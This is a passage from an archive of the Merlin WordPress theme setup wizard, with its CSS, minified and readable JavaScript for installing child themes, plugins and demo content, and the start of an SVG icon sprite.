popInSuccess{0%{background-color:#46b450;border-color:#46b450;-webkit-transform:scale(1.2);transform:scale(1.2)}45%{-webkit-transform:scale(1.4);transform:scale(1.4)}65%{-webkit-transform:scale(1);transform:scale(1)}85%{-webkit-transform:scale(1.3);transform:scale(1.3)}95%,100%{background-color:#46b450;border-color:#46b450;-webkit-transform:scale(1.2);transform:scale(1.2)}}@keyframes popInSuccess{0%{background-color:#46b450;border-color:#46b450;-webkit-transform:scale(1.2);transform:scale(1.2)}45%{-webkit-transform:scale(1.4);transform:scale(1.4)}65%{-webkit-transform:scale(1);transform:scale(1)}85%{-webkit-transform:scale(1.3);transform:scale(1.3)}95%,100%{background-color:#46b450;border-color:#46b450;-webkit-transform:scale(1.2);transform:scale(1.2)}}.merlin__drawer--install-plugins{overflow:visible;text-align:left}.merlin__drawer--open .merlin__drawer--install-plugins{padding-bottom:1px}.merlin__drawer--install-plugins li{color:#7d8183;padding:2px 30px;text-align:left}.merlin__drawer--install-plugins li:hover span{color:#0073aa}.merlin__drawer--install-plugins li .merlin__status-class{display:none}.merlin__drawer--install-plugins li .badge{background:#e6f3fa;border-radius:3px;color:#0073aa!important;font-size:11px;font-weight:500;margin-left:1px;padding:3px 5px;position:relative;text-transform:uppercase;top:-1px}.merlin__drawer--install-plugins label{cursor:pointer;display:inline-block;position:relative;width:100%}.merlin__drawer--install-plugins label span{-webkit-transition:color 100ms;transition:color 100ms}.merlin__drawer--install-plugins label i{background-color:transparent;border:2px solid #b2b7ba;border-radius:50%;display:inline-block;float:right;height:13px;margin-top:3px;position:relative;text-align:left;-webkit-transform-origin:center;-ms-transform-origin:center;transform-origin:center;-webkit-transition:border-color 100ms,background-color 100ms,-webkit-transform 350ms cubic-bezier(0.78,-1.22,0.17,1.89);transition:border-color 100ms,background-color 100ms,-webkit-transform 350ms cubic-bezier(0.78,-1.22,0.17,1.89);transition:border-color 100ms,background-color 100ms,transform 350ms cubic-bezier(0.78,-1.22,0.17,1.89);transition:border-color 100ms,background-color 100ms,transform 350ms cubic-bezier(0.78,-1.22,0.17,1.89),-webkit-transform 350ms cubic-bezier(0.78,-1.22,0.17,1.89);width:13px}.merlin__drawer--install-plugins label i:before{background:#0073aa;border-radius:2px;content:"";height:2px;left:.2em;position:absolute;top:.4em;-webkit-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg);-webkit-transform-origin:0 0;-ms-transform-origin:0 0;transform-origin:0 0;-webkit-transition:width 50ms ease 50ms;transition:width 50ms ease 50ms;width:0}.merlin__drawer--install-plugins label i:after{background:#0073aa;border-radius:2px;content:"";height:2px;left:4px;position:absolute;top:.67em;-webkit-transform:rotate(310deg);-ms-transform:rotate(310deg);transform:rotate(310deg);-webkit-transform-origin:0 0;-ms-transform-origin:0 0;transform-origin:0 0;-webkit-transition:width 50ms ease;transition:width 50ms ease;width:0}.merlin__drawer--install-plugins label:hover i{border-color:#0073aa}.merlin__drawer--open .merlin__drawer--extras{padding-bottom:30px}.icon--checkmark{-webkit-animation:fill .4s ease-in-out .4s forwards,scale .3s ease-in-out .9s both;animation:fill .4s ease-in-out .4s forwards,scale .3s ease-in-out .9s both;border-radius:50%;-webkit-box-shadow:inset 0 0 0 #46b450;box-shadow:inset 0 0 0 #46b450;display:none;height:110px;left:calc(50% - 55px);position:absolute;top:20px;width:110px;stroke:#fff;stroke-miterlimit:10;stroke-width:2}.js--finished .icon--checkmark{display:inline-block}.icon--checkmark__check{-webkit-animation:stroke .3s cubic-bezier(0.65,0,0.45,1) .8s forwards;animation:stroke .3s cubic-bezier(0.65,0,0.45,1) .8s forwards;-webkit-transform-origin:50% 50%;-ms-transform-origin:50% 50%;transform-origin:50% 50%;stroke-dasharray:48;stroke-dashoffset:48}.icon--checkmark__circle{-webkit-animation:stroke .6s cubic-bezier(0.65,0,0.45,1) forwards;animation:stroke .6s cubic-bezier(0.65,0,0.45,1) forwards;fill:none;stroke:#46b450;stroke-dasharray:166;stroke-dashoffset:166;stroke-miterlimit:10;stroke-width:2}@-webkit-keyframes stroke{100%{stroke-dashoffset:0}}@keyframes stroke{100%{stroke-dashoffset:0}}@-webkit-keyframes scale{0%,100%{-webkit-transform:none;transform:none}50%{-webkit-transform:scale3d(1.1,1.1,1);transform:scale3d(1.1,1.1,1)}}@keyframes scale{0%,100%{-webkit-transform:none;transform:none}50%{-webkit-transform:scale3d(1.1,1.1,1);transform:scale3d(1.1,1.1,1)}}@-webkit-keyframes fill{100%{-webkit-box-shadow:inset 0 0 0 100px #46b450;box-shadow:inset 0 0 0 100px #46b450}}@keyframes fill{100%{-webkit-box-shadow:inset 0 0 0 100px #46b450;box-shadow:inset 0 0 0 100px #46b450}}.merlin__content__footer{clear:both;margin-top:2.75em;*zoom:1}.merlin__content__footer:before,.merlin__content__footer:after{content:"";display:table}.merlin__content__footer:after{clear:both}.merlin__content__footer--fullwidth{opacity:0;-webkit-transform:translateX(50%);-ms-transform:translateX(50%);transform:translateX(50%);-webkit-transform-origin:top;-ms-transform-origin:top;transform-origin:top;-webkit-transition:opacity 500ms cubic-bezier(0.694,0,0.335,1),-webkit-transform 500ms cubic-bezier(0.694,0,0.335,1),-webkit-filter 500ms cubic-bezier(0.694,0,0.335,1);transition:opacity 500ms cubic-bezier(0.694,0,0.335,1),-webkit-transform 500ms cubic-bezier(0.694,0,0.335,1),-webkit-filter 500ms cubic-bezier(0.694,0,0.335,1);transition:transform 500ms cubic-bezier(0.694,0,0.335,1),opacity 500ms cubic-bezier(0.694,0,0.335,1),filter 500ms cubic-bezier(0.694,0,0.335,1);transition:transform 500ms cubic-bezier(0.694,0,0.335,1),opacity 500ms cubic-bezier(0.694,0,0.335,1),filter 500ms cubic-bezier(0.694,0,0.335,1),-webkit-transform 500ms cubic-bezier(0.694,0,0.335,1),-webkit-filter 500ms cubic-bezier(0.694,0,0.335,1);-webkit-filter:blur(10px);filter:blur(10px)}@media screen and (prefers-reduced-motion: reduce){.merlin__content__footer--fullwidth{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0);-webkit-transition:opacity 300ms ease-in-out,-webkit-filter 300ms ease-in-out;transition:opacity 300ms ease-in-out,-webkit-filter 300ms ease-in-out;transition:opacity 300ms ease-in-out,filter 300ms ease-in-out;transition:opacity 300ms ease-in-out,filter 300ms ease-in-out,-webkit-filter 300ms ease-in-out;-webkit-filter:blur(2px);filter:blur(2px)}}body.loaded .merlin__content__footer--fullwidth{opacity:1;-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0);-webkit-filter:blur(0);filter:blur(0)}.merlin__content__footer--nolinks{margin-bottom:3.14em}.merlin__content__footer--nolinks .merlin__button{margin-top:.57em}.merlin__content--license .merlin__content__footer{margin-top:-.24em}.merlin__content--ready .merlin__content__footer{margin-top:1.9em}.merlin__content--ready .merlin__content__footer .merlin__button--knockout{margin-top:10px}.merlin__content--content .merlin__content__footer{-webkit-transition:opacity 500ms cubic-bezier(0.694,0,0.335,1);transition:opacity 500ms cubic-bezier(0.694,0,0.335,1)}body.exiting .merlin__content--content .merlin__content__footer{opacity:0}.merlin__progress-bar{cursor:default;height:100%}.merlin__progress-bar .js-merlin-progress-bar{background-color:#daf1dc;border-radius:0;bottom:0;display:block;height:100%;left:0;overflow:hidden;position:absolute;right:0;top:0;width:0}.js-merlin-progress-bar-percentage{bottom:0;color:#46b450;display:none!important;left:0;line-height:38px;position:absolute;right:0;top:0}.merlin__button--loading .js-merlin-progress-bar-percentage{display:block!important}.merlin__button--next[data-callback="install_content"]{background:#f1f1f1}.merlin__select-control-wrapper{display:flex;justify-content:center;text-align:center;padding:20px 0 0;font-size:11px}.merlin__select-control-wrapper label{padding:0 5px}.merlin__select-control-wrapper .icon{height:15px;opacity:.5;position:relative;top:6px;width:15px;fill:#7d8183}.merlin__select-control-wrapper .icon:hover{opacity:1;fill:#0073aa}.merlin__select-control-help{height:26px;position:absolute;right:7px;top:0;display:none}.merlin__select-control{background:#f9f9f9;border:1px solid #ccc;border-radius:3px;-webkit-box-shadow:0 1px 0 #eee;box-shadow:0 1px 0 #eee;color:#555d66;cursor:pointer;display:block;font-size:13px;font-weight:400;height:27px;line-height:1;margin:0;padding:0;padding-left:8px;width:100%;-webkit-appearance:none;-moz-appearance:none;appearance:none}.merlin__select-control:hover{border-color:#999}.merlin__select-control:focus{border-color:#5b9dd9}.merlin__select-control select::-ms-expand{display:none}.merlin__demo-import-preview{background-color:#f1f1f1;border-radius:5px;margin:20px 0;padding:10px;width:calc(100% - 20px)}.merlin__demo-import-preview-image{width:100%}.merlin__drawer--open .is-multi-import{padding-bottom:30px;-webkit-transition:padding 300ms cubic-bezier(0.75,0,0.25,1) 100ms;transition:padding 300ms cubic-bezier(0.75,0,0.25,1) 100ms}.is-multi-import{-webkit-transition:padding 600ms cubic-bezier(0.75,0,0.25,1);transition:padding 600ms cubic-bezier(0.75,0,0.25,1)}.is-multi-import .merlin__content__footer{margin-top:7px}.merlin__body{flex-direction:column;color:transparent;font-size:0;line-height:0}.merlin__wrapper{font-size:14px;line-height:1.7em}.js-merlin-demo-import-select{display:block;margin:10px auto}.merlin__body #query-monitor-main.qm-no-js,.merlin__body #query-monitor-main.qm-broken{display:none}.merlin__content .widefat{border:1px solid #ddd;border-width:1px 0 0;text-align:initial;margin:10px 0}.merlin__content .widefat td{border-bottom:1px solid #ddd}.merlin__content .success{color:#03a678}.merlin__content .red{color:#dc3232}.merlin__content .yellow{color:#FFC107}.merlin__content .underline{font-weight:700}.merlin__content .server_check_notice{font-size:13px;margin-bottom:10px}.merlin__content .server_check_notice + .welcome_message,.merlin__content .server_check_notice + .import_message{display:none}.merlin__content [type=radio]{position:absolute;opacity:0;width:0;height:0}.merlin__content [type=radio] + img{display:block;cursor:pointer;max-width:80px;height:auto;border:1px solid #ddd;transition:all .15s cubic-bezier(0.25,0.46,0.45,0.94);opacity:.7}.merlin__content [type=radio]:checked + img{outline:2px solid #0073aa;max-width:100px;opacity:1}.merlin__content [type=radio] span{display:block}������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/assets/js/merlin.min.js����������������������������������������������������������������������0000644�����������������00000016057�15154650146�0012376 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������var Merlin=function(_){var t={install_child:function(e){(new n).init(e)},activate_license:function(e){(new i).init(e)},install_plugins:function(e){(new s).init(e)},install_content:function(e){(new o).init(e)}};function e(){var i=_(".merlin__body"),e=(_(".merlin__body--loading"),_(".merlin__body--exiting"),_("#merlin__drawer-trigger"));drawer_opened="merlin__drawer--open",setTimeout(function(){i.addClass("loaded")},100),e.on("click",function(){i.toggleClass(drawer_opened)}),_(".merlin__button--proceed:not(.merlin__button--closer)").click(function(e){e.preventDefault();var n=this.getAttribute("href");i.addClass("exiting"),setTimeout(function(){window.location=n},400)}),_(".merlin__button--closer").on("click",function(e){i.removeClass(drawer_opened),e.preventDefault();var n=this.getAttribute("href");setTimeout(function(){i.addClass("exiting")},600),setTimeout(function(){window.location=n},1100)}),_(".button-next").on("click",function(e){if(e.preventDefault(),!function(e){var n=jQuery(e);if("yes"==n.data("done-loading"))return!1;n.is("input")||n.is("button");return n.data("done-loading","yes"),n.addClass("merlin__button--loading"),{done:function(){n.attr("disabled",!1)}}}(this))return!1;var n=_(this).data("callback");return!n||void 0===t[n]||(t[n](this),!1)}),_(document).on("change",".js-merlin-demo-import-select",function(){var e=_(".js-merlin-demo-import-select:checked").val();console.log(e),_(".js-merlin-select-spinner").show(),_.post(merlin_params.ajaxurl,{action:"merlin_update_selected_import_data_info",wpnonce:merlin_params.wpnonce,selected_index:e},function(e){e.success?_(".js-merlin-drawer-import-content").html(e.data):alert(merlin_params.texts.something_went_wrong),_(".js-merlin-select-spinner").hide()}).fail(function(){_(".js-merlin-select-spinner").hide(),alert(merlin_params.texts.something_went_wrong)})})}function n(){var n,i=_(".merlin__body"),t=_("#child-theme-text");function s(e){void 0!==e.done?(setTimeout(function(){t.addClass("lead")},0),setTimeout(function(){t.addClass("success"),t.html(e.message)},600),n()):(t.addClass("lead error"),t.html(e.error))}return{init:function(e){n=function(){setTimeout(function(){_(".merlin__body").addClass("js--finished")},1500),i.removeClass(drawer_opened),setTimeout(function(){_(".merlin__body").addClass("exiting")},3500),setTimeout(function(){window.location.href=e.href},4e3)},jQuery.post(merlin_params.ajaxurl,{action:"merlin_child_theme",wpnonce:merlin_params.wpnonce},s).fail(s)}}}function i(){var n,i=_(".merlin__body"),t=_(".merlin__content--license-key"),s=_("#license-text");function o(e){void 0!==e.success&&e.success?(s.siblings(".error-message").remove(),setTimeout(function(){s.addClass("lead")},0),setTimeout(function(){s.addClass("success"),s.html(e.message)},600),n()):(_(".js-merlin-license-activate-button").removeClass("merlin__button--loading").data("done-loading","no"),s.siblings(".error-message").remove(),t.addClass("has-error"),s.html(e.message),s.siblings(".error-message").addClass("lead error"))}return{init:function(e){n=function(){setTimeout(function(){_(".merlin__body").addClass("js--finished")},1500),i.removeClass(drawer_opened),setTimeout(function(){_(".merlin__body").addClass("exiting")},3500),setTimeout(function(){window.location.href=e.href},4e3)},t.removeClass("has-error"),jQuery.post(merlin_params.ajaxurl,{action:"merlin_activate_license",wpnonce:merlin_params.wpnonce,license_key:_(".js-license-key").val()},o).fail(o)}}}function s(){var n,i,t=_(".merlin__body"),s=0,o="",r="";function a(e){var n=i.find("label");"object"==typeof e&&void 0!==e.message?(n.removeClass("installing success error").addClass(e.message.toLowerCase()),(void 0===e.done||!e.done)&&void 0!==e.url?e.hash==r?(n.removeClass("installing success").addClass("error"),d()):(r=e.hash,jQuery.post(e.url,e,a).fail(a)):d()):l()}function l(){o&&(i.find("input:checkbox").is(":checked")?jQuery.post(merlin_params.ajaxurl,{action:"merlin_plugins",wpnonce:merlin_params.wpnonce,slug:o},a).fail(a):(i.addClass("skipping"),setTimeout(d,300)))}function d(){i&&(i.data("done_item")||(s++,i.data("done_item",1)),i.find(".spinner").css("visibility","hidden"));var e=_(".merlin__drawer--install-plugins li");e.each(function(){var e=_(this);return!!e.data("done_item")||(o=e.data("slug"),i=e,l(),!1)}),s>=e.length&&n()}return{init:function(e){_(".merlin__drawer--install-plugins").addClass("installing"),_(".merlin__drawer--install-plugins").find("input").prop("disabled",!0),n=function(){setTimeout(function(){_(".merlin__body").addClass("js--finished")},1e3),t.removeClass(drawer_opened),setTimeout(function(){_(".merlin__body").addClass("exiting")},3e3),setTimeout(function(){window.location.href=e.href},3500)},d()}}}function o(){var i,t,s,n=_(".merlin__body"),o=0,r="",a="",l=1,d=0;function c(e){var n=t.find("label");"object"==typeof e&&void 0!==e.message?(n.addClass(e.message.toLowerCase()),void 0!==e.num_of_imported_posts&&0<d&&(l="all"===e.num_of_imported_posts?d:e.num_of_imported_posts,u()),void 0!==e.url?e.hash===a?(n.addClass("status--failed"),m()):(a=e.hash,void 0===e.selected_index&&(e.selected_index=_(".js-merlin-demo-import-select:checked").val()||0),jQuery.post(e.url,e,c).fail(c)):(e.done,m())):(console.log(e),n.addClass("status--error"),m())}function m(){var e=!1;t&&(t.data("done_item")||(o++,t.data("done_item",1)),t.find(".spinner").css("visibility","hidden"));var n=_(".merlin__drawer--import-content__list-item");_(".merlin__drawer--import-content__list-item input:checked");n.each(function(){""==r||e?(r=_(this).data("content"),t=_(this),r&&(t.find("input:checkbox").is(":checked")?jQuery.post(merlin_params.ajaxurl,{action:"merlin_content",wpnonce:merlin_params.wpnonce,content:r,selected_index:_(".js-merlin-demo-import-select:checked").val()||0},c).fail(c):(t.addClass("skipping"),setTimeout(m,300))),e=!1):_(this).data("content")==r&&(e=!0)}),o>=n.length&&i()}function u(){_(".js-merlin-progress-bar").css("width",l/d*100+"%");var e,n,i,t=(e=l/d*100,n=0,i=99,Math.min(i,Math.max(n,e)));_(".js-merlin-progress-bar-percentage").html(Math.round(t)+"%"),1==l/d&&clearInterval(s)}return{init:function(e){_(".merlin__drawer--import-content").addClass("installing"),_(".merlin__drawer--import-content").find("input").prop("disabled",!0),i=function(){_.post(merlin_params.ajaxurl,{action:"merlin_import_finished",wpnonce:merlin_params.wpnonce,selected_index:_(".js-merlin-demo-import-select:checked").val()||0}),setTimeout(function(){_(".js-merlin-progress-bar-percentage").html("100%")},100),setTimeout(function(){n.removeClass(drawer_opened)},500),setTimeout(function(){_(".merlin__body").addClass("js--finished")},1500),setTimeout(function(){_(".merlin__body").addClass("exiting")},3400),setTimeout(function(){window.location.href=e.href},4e3)},_(".merlin__drawer--import-content__list-item .checkbox-content").is(":checked")&&jQuery.post(merlin_params.ajaxurl,{action:"merlin_get_total_content_import_items",wpnonce:merlin_params.wpnonce,selected_index:_(".js-merlin-demo-import-select:checked").val()||0},function(e){0<(d=e.data)&&(u(),s=setInterval(function(){l+=d/500,u()},1e3))}),m()}}}return{init:function(){_(e)},callback:function(e){console.log(e),console.log(this)}}}(jQuery);Merlin.init();���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/assets/js/merlin.js��������������������������������������������������������������������������0000644�����������������00000042462�15154650146�0011613 0����������������������������������������������������������������������������������������������������ustar�00������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� var Merlin = (function($){ var t; // callbacks from form button clicks. var callbacks = { install_child: function(btn) { var installer = new ChildTheme(); installer.init(btn); }, activate_license: function(btn) { var license = new ActivateLicense(); license.init(btn); }, install_plugins: function(btn){ var plugins = new PluginManager(); plugins.init(btn); }, install_content: function(btn){ var content = new ContentManager(); content.init(btn); } }; function window_loaded(){ var body = $('.merlin__body'), body_loading = $('.merlin__body--loading'), body_exiting = $('.merlin__body--exiting'), drawer_trigger = $('#merlin__drawer-trigger'), drawer_opening = 'merlin__drawer--opening'; drawer_opened = 'merlin__drawer--open'; setTimeout(function(){ body.addClass('loaded'); },100); drawer_trigger.on('click', function(){ body.toggleClass( drawer_opened ); }); $('.merlin__button--proceed:not(.merlin__button--closer)').click(function (e) { e.preventDefault(); var goTo = this.getAttribute("href"); body.addClass('exiting'); setTimeout(function(){ window.location = goTo; },400); }); $(".merlin__button--closer").on('click', function(e){ body.removeClass( drawer_opened ); e.preventDefault(); var goTo = this.getAttribute("href"); setTimeout(function(){ body.addClass('exiting'); },600); setTimeout(function(){ window.location = goTo; },1100); }); $(".button-next").on( "click", function(e) { e.preventDefault(); var loading_button = merlin_loading_button(this); if ( ! loading_button ) { return false; } var data_callback = $(this).data("callback"); if( data_callback && typeof callbacks[data_callback] !== "undefined"){ // We have to process a callback before continue with form submission. callbacks[data_callback](this); return false; } else { return true; } }); $( document ).on( 'change', '.js-merlin-demo-import-select', function() { var selectedIndex = $( '.js-merlin-demo-import-select:checked' ).val(); $( '.js-merlin-select-spinner' ).show(); $.post( merlin_params.ajaxurl, { action: 'merlin_update_selected_import_data_info', wpnonce: merlin_params.wpnonce, selected_index: selectedIndex, }, function( response ) { if ( response.success ) { $( '.js-merlin-drawer-import-content' ).html( response.data ); } else { alert( merlin_params.texts.something_went_wrong ); } $( '.js-merlin-select-spinner' ).hide(); } ) .fail( function() { $( '.js-merlin-select-spinner' ).hide(); alert( merlin_params.texts.something_went_wrong ) } ); } ); } function ChildTheme() { var body = $('.merlin__body'); var complete, notice = $("#child-theme-text"); function ajax_callback(r) { if (typeof r.done !== "undefined") { setTimeout(function(){ notice.addClass("lead"); },0); setTimeout(function(){ notice.addClass("success"); notice.html(r.message); },600); complete(); } else { notice.addClass("lead error"); notice.html(r.error); } } function do_ajax() { jQuery.post(merlin_params.ajaxurl, { action: "merlin_child_theme", wpnonce: merlin_params.wpnonce, }, ajax_callback).fail(ajax_callback); } return { init: function(btn) { complete = function() { setTimeout(function(){ $(".merlin__body").addClass('js--finished'); },1500); body.removeClass( drawer_opened ); setTimeout(function(){ $('.merlin__body').addClass('exiting'); },3500); setTimeout(function(){ window.location.href=btn.href; },4000); }; do_ajax(); } } } function ActivateLicense() { var body = $( '.merlin__body' ); var wrapper = $( '.merlin__content--license-key' ); var complete, notice = $( '#license-text' ); function ajax_callback(r) { if (typeof r.success !== "undefined" && r.success) { notice.siblings( '.error-message' ).remove(); setTimeout(function(){ notice.addClass("lead"); },0); setTimeout(function(){ notice.addClass("success"); notice.html(r.message); },600); complete(); } else { $( '.js-merlin-license-activate-button' ).removeClass( 'merlin__button--loading' ).data( 'done-loading', 'no' ); notice.siblings( '.error-message' ).remove(); wrapper.addClass('has-error'); notice.html(r.message); notice.siblings( '.error-message' ).addClass("lead error"); } } function do_ajax() { wrapper.removeClass('has-error'); jQuery.post(merlin_params.ajaxurl, { action: "merlin_activate_license", wpnonce: merlin_params.wpnonce, license_key: $( '.js-license-key' ).val() }, ajax_callback).fail(ajax_callback); } return { init: function(btn) { complete = function() { setTimeout(function(){ $(".merlin__body").addClass('js--finished'); },1500); body.removeClass( drawer_opened ); setTimeout(function(){ $('.merlin__body').addClass('exiting'); },3500); setTimeout(function(){ window.location.href=btn.href; },4000); }; do_ajax(); } } } function PluginManager(){ var body = $('.merlin__body'); var complete; var items_completed = 0; var current_item = ""; var $current_node; var current_item_hash = ""; function ajax_callback(response){ var currentSpan = $current_node.find("label"); if(typeof response === "object" && typeof response.message !== "undefined"){ currentSpan.removeClass( 'installing success error' ).addClass(response.message.toLowerCase()); // The plugin is done (installed, updated and activated). if(typeof response.done != "undefined" && response.done){ find_next(); }else if(typeof response.url != "undefined"){ // we have an ajax url action to perform. if(response.hash == current_item_hash){ currentSpan.removeClass( 'installing success' ).addClass("error"); find_next(); }else { current_item_hash = response.hash; jQuery.post(response.url, response, ajax_callback).fail(ajax_callback); } }else{ // error processing this plugin find_next(); } }else{ // The TGMPA returns a whole page as response, so check, if this plugin is done. process_current(); } } function process_current(){ if(current_item){ var $check = $current_node.find("input:checkbox"); if($check.is(":checked")) { jQuery.post(merlin_params.ajaxurl, { action: "merlin_plugins", wpnonce: merlin_params.wpnonce, slug: current_item, }, ajax_callback).fail(ajax_callback); }else{ $current_node.addClass("skipping"); setTimeout(find_next,300); } } } function find_next(){ if($current_node){ if(!$current_node.data("done_item")){ items_completed++; $current_node.data("done_item",1); } $current_node.find(".spinner").css("visibility","hidden"); } var $li = $(".merlin__drawer--install-plugins li"); $li.each(function(){ var $item = $(this); if ( $item.data("done_item") ) { return true; } current_item = $item.data("slug"); $current_node = $item; process_current(); return false; }); if(items_completed >= $li.length){ // finished all plugins! complete(); } } return { init: function(btn){ $(".merlin__drawer--install-plugins").addClass("installing"); $(".merlin__drawer--install-plugins").find("input").prop("disabled", true); complete = function(){ setTimeout(function(){ $(".merlin__body").addClass('js--finished'); },1000); body.removeClass( drawer_opened ); setTimeout(function(){ $('.merlin__body').addClass('exiting'); },3000); setTimeout(function(){ window.location.href=btn.href; },3500); }; find_next(); } } } function ContentManager(){ var body = $('.merlin__body'); var complete; var items_completed = 0; var current_item = ""; var $current_node; var current_item_hash = ""; var current_content_import_items = 1; var total_content_import_items = 0; var progress_bar_interval; function ajax_callback(response) { var currentSpan = $current_node.find("label"); if(typeof response == "object" && typeof response.message !== "undefined"){ currentSpan.addClass(response.message.toLowerCase()); if( typeof response.num_of_imported_posts !== "undefined" && 0 < total_content_import_items ) { current_content_import_items = 'all' === response.num_of_imported_posts ? total_content_import_items : response.num_of_imported_posts; update_progress_bar(); } if(typeof response.url !== "undefined"){ // we have an ajax url action to perform. if(response.hash === current_item_hash){ currentSpan.addClass("status--failed"); find_next(); }else { current_item_hash = response.hash; // Fix the undefined selected_index issue on new AJAX calls. if ( typeof response.selected_index === "undefined" ) { response.selected_index = $( '.js-merlin-demo-import-select:checked' ).val() || 0; } jQuery.post(response.url, response, ajax_callback).fail(ajax_callback); // recuurrssionnnnn } }else if(typeof response.done !== "undefined"){ // finished processing this plugin, move onto next find_next(); }else{ // error processing this plugin find_next(); } }else{ console.log(response); // error - try again with next plugin currentSpan.addClass("status--error"); find_next(); } } function process_current(){ if(current_item){ var $check = $current_node.find("input:checkbox"); if($check.is(":checked")) { jQuery.post(merlin_params.ajaxurl, { action: "merlin_content", wpnonce: merlin_params.wpnonce, content: current_item, selected_index: $( '.js-merlin-demo-import-select:checked' ).val() || 0 }, ajax_callback).fail(ajax_callback); }else{ $current_node.addClass("skipping"); setTimeout(find_next,300); } } } function find_next(){ var do_next = false; if($current_node){ if(!$current_node.data("done_item")){ items_completed++; $current_node.data("done_item",1); } $current_node.find(".spinner").css("visibility","hidden"); } var $items = $(".merlin__drawer--import-content__list-item"); var $enabled_items = $(".merlin__drawer--import-content__list-item input:checked"); $items.each(function(){ if (current_item == "" || do_next) { current_item = $(this).data("content"); $current_node = $(this); process_current(); do_next = false; } else if ($(this).data("content") == current_item) { do_next = true; } }); if(items_completed >= $items.length){ complete(); } } function init_content_import_progress_bar() { if( ! $(".merlin__drawer--import-content__list-item .checkbox-content").is( ':checked' ) ) { return false; } jQuery.post(merlin_params.ajaxurl, { action: "merlin_get_total_content_import_items", wpnonce: merlin_params.wpnonce, selected_index: $( '.js-merlin-demo-import-select:checked' ).val() || 0 }, function( response ) { total_content_import_items = response.data; if ( 0 < total_content_import_items ) { update_progress_bar(); // Change the value of the progress bar constantly for a small amount (0,2% per sec), to improve UX. progress_bar_interval = setInterval( function() { current_content_import_items = current_content_import_items + total_content_import_items/500; update_progress_bar(); }, 1000 ); } } ); } function valBetween(v, min, max) { return (Math.min(max, Math.max(min, v))); } function update_progress_bar() { $('.js-merlin-progress-bar').css( 'width', (current_content_import_items/total_content_import_items) * 100 + '%' ); var $percentage = valBetween( ((current_content_import_items/total_content_import_items) * 100) , 0, 99); $('.js-merlin-progress-bar-percentage').html( Math.round( $percentage ) + '%' ); if ( 1 === current_content_import_items/total_content_import_items ) { clearInterval( progress_bar_interval ); } } return { init: function(btn){ $(".merlin__drawer--import-content").addClass("installing"); $(".merlin__drawer--import-content").find("input").prop("disabled", true); complete = function(){ $.post(merlin_params.ajaxurl, { action: "merlin_import_finished", wpnonce: merlin_params.wpnonce, selected_index: $( '.js-merlin-demo-import-select:checked' ).val() || 0 }); setTimeout(function(){ $('.js-merlin-progress-bar-percentage').html( '100%' ); },100); setTimeout(function(){ body.removeClass( drawer_opened ); },500); setTimeout(function(){ $(".merlin__body").addClass('js--finished'); },1500); setTimeout(function(){ $('.merlin__body').addClass('exiting'); },3400); setTimeout(function(){ window.location.href=btn.href; },4000); }; init_content_import_progress_bar(); find_next(); } } } function merlin_loading_button( btn ){ var $button = jQuery(btn); if ( $button.data( "done-loading" ) == "yes" ) { return false; } var completed = false; var _modifier = $button.is("input") || $button.is("button") ? "val" : "text"; $button.data("done-loading","yes"); $button.addClass("merlin__button--loading"); return { done: function(){ completed = true; $button.attr("disabled",false); } } } return { init: function(){ t = this; $(window_loaded); }, callback: function(func){ console.log(func); console.log(this); } } })(jQuery); Merlin.init(); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/assets/images/sprite.svg���������������������������������������������������������������������0000644�����������������00000446673�15154650146�0012663 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<svg id="sprite" xmlns="http://www.w3.org/2000/svg" version="1.0" class="hidden"> <symbol id="icon-downarrow" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> <path d="m3.9975605 8.1676949c.007.2380601.0981.4659101.2578095.6425801l7.00195 7.722649c.396981.438242 1.085451.438241 1.48243.000001l7.001949-7.72265c.582578-.6425129.12707-1.6713205-.74024-1.6718803h-14.0058483c-.5631405.0009102-1.0144898.4663998-.9980502 1.0293002z"/> </symbol> <symbol id="icon-help" xmlns="http://www.w3.org/2000/svg" data-name="Layer 1" viewBox="0 0 100 100" x="0px" y="0px"> <g data-name="Group"><path data-name="Compound Path" d="M50,17.6A32.4,32.4,0,1,0,82.4,50,32.4,32.4,0,0,0,50,17.6Zm3.2,47.7H47.1v-6h6.2ZM59.1,48a15.4,15.4,0,0,1-3,2.8L54.6,52a4.4,4.4,0,0,0-1.6,2.2,9.1,9.1,0,0,0-.3,2.4H47.2a16.2,16.2,0,0,1,.7-4.8,8.5,8.5,0,0,1,2.8-3.1l1.5-1.2a5.3,5.3,0,0,0,1.2-1.2,4.2,4.2,0,0,0,.8-2.5,4.8,4.8,0,0,0-.9-2.9q-.9-1.3-3.3-1.3a3.7,3.7,0,0,0-3.4,1.6,6.1,6.1,0,0,0-1,3.3h-6q.2-5.9,4.1-8.3a10.8,10.8,0,0,1,6-1.6,12.9,12.9,0,0,1,7.7,2.2,7.6,7.6,0,0,1,3.1,6.6A7.5,7.5,0,0,1,59.1,48Z"></path></g> </symbol> <symbol id="icon-welcome" viewBox="0 0 166 105" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs></defs> <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"> <g id="Getting-Started"> <g id="getting-started"> <polygon id="Fill-310" fill="#FFFFFF" points="130.588 73.184 139.861 73.184 139.861 67.506 130.588 67.506"></polygon> <path d="M142.664,103.301 L127.943,103.301 L127.943,72.114 C127.943,71.346 128.566,70.723 129.335,70.723 L141.273,70.723 C142.041,70.723 142.664,71.346 142.664,72.114 L142.664,103.301" id="Fill-312" fill="#FFFFFF"></path> <path d="M149.481,94.952 C149.461,95.921 148.66,96.69 147.692,96.671 C146.723,96.652 145.954,95.851 145.973,94.882 C145.992,93.914 146.793,93.144 147.762,93.163 C148.73,93.183 149.5,93.984 149.481,94.952" id="Fill-322" 